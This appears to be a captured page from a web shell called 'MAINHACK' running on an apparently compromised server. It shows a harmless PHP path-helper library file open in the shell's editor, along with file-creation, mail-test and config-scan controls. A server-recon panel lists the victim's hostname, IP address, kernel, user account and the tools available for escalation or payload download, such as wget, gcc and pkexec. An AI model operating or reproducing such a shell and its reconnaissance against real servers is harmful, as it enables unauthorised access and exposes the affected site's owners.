[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: helpers.php
<?php use Jackiedo\PathHelper\Path; if (!function_exists('absolute_path')) { /** * Return absolute path from a given path. * * This function is an alternative to `realpath()` function for non-existent paths. * * @param string $path the path want to format * @param string $separator the directory separator want to use in the result * * @return string */ function absolute_path($path, $separator = DIRECTORY_SEPARATOR) { return Path::absolute($path, $separator); } } if (!function_exists('relative_path')) { /** * Return relative path from a given file or directory to another location. * * @param string $from the path of departure file or directory * @param string $to the path of destination file or directory * @param string $separator the directory separator want to use in the result * * @return string */ function relative_path($from, $to, $separator = DIRECTORY_SEPARATOR) { return Path::relative($from, $to, $separator); } } if (!function_exists('winstyle_path')) { /** * Normalize directory separators of a given path according to Windows OS style. * * @param string $path the path want to normalize * * @return string */ function winstyle_path($path) { return Path::winStyle($path); } } if (!function_exists('unixstyle_path')) { /** * Normalize directory separators of a given path according to Unix OS style. * * @param string $path the path want to normalize * * @return string */ function unixstyle_path($path) { return Path::unixStyle($path); } } if (!function_exists('osstyle_path')) { /** * Normalize directory separators of a given path according to the current OS style. * * @param string $path the path want to normalize * * @return string */ function osstyle_path($path) { return Path::osStyle($path); } } if (!function_exists('normalize_path')) { /** * Formats the directory separators of a given path with a specific string. * * @param string $path the path want to normalize * @param string $separator the directory separator want to use * * @return string */ function normalize_path($path, $separator = DIRECTORY_SEPARATOR) { return Path::normalize($path, $separator); } } if (!function_exists('is_absolute_path')) { /** * Check if a given path is an absolute path. * * @param string $path the path want to check * * @return bool */ function is_absolute_path($path) { return Path::isAbsolute($path); } } if (!function_exists('is_relative_path')) { /** * Check if a given path is a relative path. * * @param string $path the path want to check * * @return bool */ function is_relative_path($path) { return Path::isRelative($path); } } if (!function_exists('is_descendant_path')) { /** * Check if a given path is descendant of the another path. * * Return true if the input path is descendant of the comparison * * @param string $path the path want to check * @param string $comparison the target path used for comparison * * @return bool */ function is_descendant_path($path, $comparison) { return Path::isDescendant($path, $comparison); } } if (!function_exists('is_ancestor_path')) { /** * Check if a given path is ancestor of the another path. * * Return true if the input path is ancestor of the comparison * * @param string $path the path want to check * @param string $comparison the target path used for comparison * * @return bool */ function is_ancestor_path($path, $comparison) { return Path::isAncestor($path, $comparison); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.44 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002